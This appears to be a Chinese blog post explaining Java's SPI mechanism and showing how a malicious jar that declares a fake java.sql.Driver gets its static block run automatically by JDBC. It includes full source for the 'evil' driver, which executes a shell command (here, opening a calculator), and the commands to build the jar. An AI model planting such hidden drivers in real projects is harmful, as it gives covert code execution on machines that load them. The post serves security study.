【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

目录

SPI定义

SPI核心方法和类

最简单的SPIdemo演示

回顾JCBC基本流程

为什么JDBC要有SPI

JDBC java.sql.Driver后门利用与验证


SPI定义

SPI: Service Provider Interface
官方定义: 直译过来是服务提供者接口,学名为服务发现机制
它通过在ClassPath路径下的META-INF/services文件夹中查找文件(以接口名为文件名,以实现类全限定名为文件内容的文件),并自动加载文件里所定义的类

1.SPI机制能够使接口与具体的实现类解耦,可以根据实际的业务情况启用或替换具体组件
2.SPI机制为很多框架的拓展提供了可能
3.SPI机制更多是一种思想

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
        load(Class<S> service):静态方法,用于加载实现了指定接口的服务提供者。
        iterator():返回一个迭代器,用于遍历加载的服务提供者实例。

② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
        hasNext():判断是否还有下一个元素。
        next():返回下一个元素。

③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
        AbstractProvider:用于创建服务提供者的抽象类。
        ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

最简单的SPIdemo演示

项目目录:

 META-INF/services/com.spi.SpiService

com.spi.SPI_1
com.spi.SPI_2

SpiService

package com.spi;

public interface SpiService {
    public void run();
}

SPI_1

package com.spi;

public class SPI_1 implements SpiService {
    @Override
    public void run() {
        System.out.println("SPI_1 is running...");
    }
}

SPI_2

package com.spi;

public class SPI_2 implements SpiService {
    @Override
    public void run() {
        System.out.println("SPI_2 is running...");
    }
}

SpiTest

package com.spi;

import java.util.ServiceLoader;

public class SpiTest {
    public static void main(String[] args) {
        ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);
        for (SpiService spiService : serviceLoader) {
            spiService.run();
        }
    }
}

运行演示

回顾JCBC基本流程

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

为什么JDBC要有SPI

以前我们使用JDBC访问Mysql数据库的时候,都会执行Class.forName("com.mysql.cj.jdbc.Driver"),这样就会实例化驱动类,同时也会执行驱动类中的static代码块中的DriverManager.registerDriver(new Driver()),将驱动类注册到Drivermanager中

但是将驱动类的全路径名称写到代码中,非常不方便。如果将类的全路径名写到配置文件中,虽然方便,但是还需要我们去记驱动类的全路径名

使用Java的SPI就可以解决这个问题。让Mysql驱动提供方同时提供驱动包和驱动配置文件,Java SPI通过类ClassLoader(通过getResource/getResources从指定位置读取classpath中的配置文件、可以加载类)自动从指定位置读取配置文件并进行驱动类的加载。这样就不用我们进行驱动类的加载了,而且Mysql驱动提供方能很方便的进行驱动的升级

JDBC java.sql.Driver后门利用与验证

数据库厂商提供的 JDBC 驱动程序通过在 JAR 包中的 META-INF/services/java.sql.Driver 文件中指定实现了 java.sql.Driver 接口的驱动程序类的方式来注册自己。JDBC 在启动时会使用 SPI 机制来动态加载这些驱动程序类,无需显式地调用 Class.forName 来加载驱动程序,从而实现了自动注册数据库驱动程序的功能。

这也为我们留下了后门,我们可以创建一个自己的恶意jar包传给JDBC,从而导致恶意类的加载,静态代码块的执行,开始复现!

先生成恶意的jar包

创建项目结构如下

 META-INF/services/java.sql.Driver

evil.MySQLDriver

MySQLDriver.java

package evil;

import java.sql.*;
import java.util.*;
import java.util.logging.*;

public class MySQLDriver implements java.sql.Driver {

    protected static boolean DEBUG = false;

    protected static final String WindowsCmd = "calc";

    protected static final String LinuxCmd = "open -a calculator";

    protected static  String shell;

    protected static  String args;

    protected static  String cmd;



    static{
        if(DEBUG){
            Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
        }


        if( System.getProperty("os.name").toLowerCase().contains("windows") ){

            shell = "cmd.exe";
            args = "/c";
            cmd = WindowsCmd;
        } else {

            shell = "/bin/sh";
            args = "-c";
            cmd = LinuxCmd;
        }
        try{

            Runtime.getRuntime().exec(new String[] {shell, args, cmd});

        } catch(Exception ignored) {

        }
    }




    // JDBC methods below


    public boolean acceptsURL(String url){
        if(DEBUG){
            Logger.getGlobal().info("acceptsURL() called: "+url);
        }

        return false;
    }

    public Connection connect(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("connect() called: "+url);
        }

        return null;
    }


    public int getMajorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 1;
    }

    public int getMinorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 0;
    }

    public Logger getParentLogger(){
        if(DEBUG){
            Logger.getGlobal().info("getParentLogger() called");
        }

        return null;
    }

    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("getPropertyInfo() called: "+url);
        }

        return new DriverPropertyInfo[0];
    }

    public boolean jdbcCompliant(){
        if(DEBUG){
            Logger.getGlobal().info("jdbcCompliant() called");
        }

        return true;
    }
}

 依次运行下列代码

javac src/evil/MySQLDriver.java

jar -cvf evil.jar -C src/ .

在项目目录得到evil.jar这个恶意jar包

然后在JDBC的项目中引入恶意jar包

package com.spi;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class Jdbc_Demo {
    public static void main(String[] args) throws Exception {
        // 注册驱动(可以删去)
//        Class.forName("java.sql.Driver");
        // 获取数据库连接对象
        Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/security","root", "root");
        //  定义sql语句
        String sql = "select * from users";
        // 获取执行sql的对象Statement
        Statement stmt = con.createStatement();
        // 执行sql
        ResultSet res = stmt.executeQuery(sql);
        // 处理对象
        while(res.next()) {
            System.out.println(res.getString("username"));
        }
        // 释放资源
        res.close();
        stmt.close();
        con.close();
    }
}

 运行这段代码便可弹出计算器。

为了验证我们真的导入了恶意类作为jdbc的驱动,我们可以继续运行下面这段代码

package com.spi;

import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;

public class JdbcDriverList {
    public static void main(String[] args) {

        ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));

        for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {

            Driver driver = iterator.next();

            System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
        }
    }
}

结果如下,可见我们确实利用driver后门完成了一次偷梁换柱的利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/431454.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

加油站“变身”快充站,探讨充电新模式

摘要&#xff1a;新能源汽车规模化发展的同时&#xff0c;充电不便利的痛点愈发明显。在未来的新能源汽车行业发展当中&#xff0c;充电的矛盾要远远大于造车的矛盾&#xff0c;解决好充电的问题成为电动汽车行业发展的一个突出问题。解决充电补能问题&#xff0c;重要的方式之…

【牛客】VL60 使用握手信号实现跨时钟域数据传输

题目描述 分别编写一个数据发送模块和一个数据接收模块&#xff0c;模块的时钟信号分别为clk_a&#xff0c;clk_b。两个时钟的频率不相同。数据发送模块循环发送0-7&#xff0c;在每个数据传输完成之后&#xff0c;间隔5个时钟&#xff0c;发送下一个数据。请在两个模块之间添加…

(vue)el-checkbox 实现展示区分 label 和 value(展示值与选中获取值需不同)

(vue)el-checkbox 实现展示区分 label 和 value&#xff08;展示值与选中获取值需不同&#xff09; 后端数据 解决方法 在 el-checkbox 标签中间传入要展示的文本即可&#xff0c;代码如下&#xff1a; <el-checkbox-groupv-model"formInline.processFieldList"…

【C语言】指针超级无敌金刚霹雳进阶(但不难,还是基础)

点击这里访问我的博客主页~~ 对指针概念还不太清楚的点击这里访问上一篇指针初阶2.0 上上篇指针初阶1.0 谢谢各位大佬的支持咯 今天我们一起来学习指针进阶内容 指针进阶 一、指针变量1、字符指针变量2、数组指针变量①数组指针变量的定义②数组指针变量的初始化 3、函数指…

代码随想录第50天|● 123.买卖股票的最佳时机III ● 188.买卖股票的最佳时机IV

文章目录 ● 123.买卖股票的最佳时机III思路代码一&#xff1a;dp二维数组代码二&#xff1a;四个数存储 ● 188.买卖股票的最佳时机IV思路&#xff1a;代码&#xff1a; ● 123.买卖股票的最佳时机III 思路 dp[i][j]中 i表示第i天&#xff0c;j为 [0 - 4] 五个状态&#xff0…

C++ string类详解及模拟实现

目录 【本节目标】 1. 为什么学习string类&#xff1f; 1.1 C语言中的字符串 1.2 面试题(暂不做讲解) 2. 标准库中的string类 2.1 string类(了解) 2.2 string类的常用接口说明&#xff08;注意下面我只讲解最常用的接口&#xff09; 3. string类的模拟实现 3.1string类常用…

操作系统篇——虚拟内存到底是个啥?

先祝大家春招都过&#xff0c;后台私信我&#xff0c;可免费获得面试宝典&#xff0c;祝大家都和我一样&#xff0c;顺顺利利面大厂!!! 为什么不直接使用物理内存 虚拟内存是计算机系统内存管理的一种技术。它使得应用程序认为它拥有连续可用的内存&#xff08;一个连续完整的…

YOLOv9推理详解及部署实现

目录 前言零、YOLOv9简介一、YOLOv9推理(Python)1. YOLOv9预测2. YOLOv9预处理3. YOLOv9后处理4. YOLOv9推理 二、YOLOv9推理(C)1. ONNX导出2. YOLOv9预处理3. YOLOv9后处理4. YOLOv9推理 三、YOLOv9部署1. 源码下载2. 环境配置2.1 配置CMakeLists.txt2.2 配置Makefile 3. ONNX…

useState多次渲染页面卡顿 useMemo

useState多次渲染页面卡顿 state变化了组件自然应该重新进行渲染&#xff0c;但有时我们并不需要。 React.memo()(useMemo)是一个高阶组件&#xff0c;它接收另一个组件作为参数&#xff0c;并且会返回一个包装过的新组件&#xff0c;包装过的新组件就会具有缓存作用&#xff…

已经连接过github远程库,如何再次推送及删除远程库的内容

基于上次将文件推送到已经建好的github远程库上&#xff0c;此篇文章主要介绍如何再次推送文件去直接已经连接过的远程库&#xff0c;以此如何删除远程库中不想要的文件。 一、推送文件到远程库 1.将所需推送的文件拉入本地库所建的文件夹下&#xff1a;{ex&#xff1a;JVM相…

HTML5:七天学会基础动画网页8

2D缩放:scale scale(x,y) 2D缩放转换&#xff0c;改变元素的宽度和 高度&#xff0c;值为缩放的倍数。 scaleX(n) 2D缩放转换&#xff0c;改变元素的宽度。 scaleY(n) 2D播放转换&#xff0c;改变元素的高度。 跟前面提到的平移同理&#xff0…

Redis 7.0版本主从复制机制

1、引言 Redis是一个开源、高性能、内存键值存储系统&#xff0c;同时也提供了数据结构服务器的功能。它支持五种主要的数据类型&#xff1a;字符串&#xff08;String&#xff09;、哈希表&#xff08;Hashes&#xff09;、列表&#xff08;Lists&#xff09;、集合&#xff…

Vue基础篇

Vue Vue是一套用于构建用户界面的渐进式JavaScript框架 什么是渐进式? Vue可以自底向上逐层地应用; 当构建简单应用时, 只需一个轻量小巧的核心库; 当构建复杂应用时, 可以引入各式各样的Vue插件 Vue具有以下特点: 采用组件化模式, 提高代码复用率且让代码更好维护 声明式编…

软考58-上午题-【数据库】-分布式数据库

一、四个透明 二、四种性质 三、真题 真题1&#xff1a; 真题2&#xff1a; 真题3&#xff1a; 真题4&#xff1a; 真题5&#xff1a;

10亿数据如何快速插入MySQL

最快的速度把10亿条数据导入到数据库,首先需要和面试官明确一下,10亿条数据什么形式存在哪里,每条数据多大,是否有序导入,是否不能重复,数据库是否是MySQL? 有如下约束 10亿条数据,每条数据 1 Kb 数据内容是非结构化的用户访问日志,需要解析后写入到数据库 数据存放在…

Linux笔记--静态库和动态库

库是指在我们的应用中&#xff0c;有一些公共代码是需要反复使用&#xff0c;就把这些代码编译为"库"文件;在链接步骤中&#xff0c;链接器将从库文件取得所需的代码&#xff0c;复制到生成的可执行文件中。 Linux中常见的库文件有两种&#xff0c;一种.a为后缀&…

【力扣白嫖日记】1045.买下所有产品的客户

前言 练习sql语句&#xff0c;所有题目来自于力扣&#xff08;https://leetcode.cn/problemset/database/&#xff09;的免费数据库练习题。 今日题目&#xff1a; 1045.买下所有产品的客户 表&#xff1a;Customer 列名类型customer_idintproduct_keyint 该表可能包含重复…

HashData的湖仓一体思考:Iceberg、Hudi特性讲解与支持方案

湖仓一体作为一种新兴的开放式数据管理架构&#xff0c;能够充分发挥数据湖的灵活性、生态丰富以及数据仓库的企业级数据分析能力&#xff0c;已经成为企业建设现代数据平台的热门选择。 在此前的直播中&#xff0c;我们分享了HashData湖仓一体方案架构设计与Hive数据同步。本…

2024金三银四--我们遇到的那些软件测试面试题【功能/接口/自动化/性能等等】

一、面试技巧题(主观题) 序号面试题1怎么能在技术没有那么合格的前提下给面试官留个好印象&#xff1f;2面试时&#xff0c;如何巧妙地避开不会的问题&#xff1f;面试遇到自己不会的问题如何机智的接话&#xff0c;化被动为主动&#xff1f;3对于了解程度的技能&#xff0c;被…

matlab 实现模糊C均值聚类

1. 原理 模糊c均值算法步骤&#xff1a; 1. 设定聚类数目c和加权指数b&#xff1a; 2. 初始化各个聚类中心m 3. 重复下面的运算&#xff0c;直到各个样本的隶属度值稳定&#xff1a;用当前的聚类中心根据下式计算隶属度函数&#xff1a; 用当前的隶属度函数按下式更新计算各…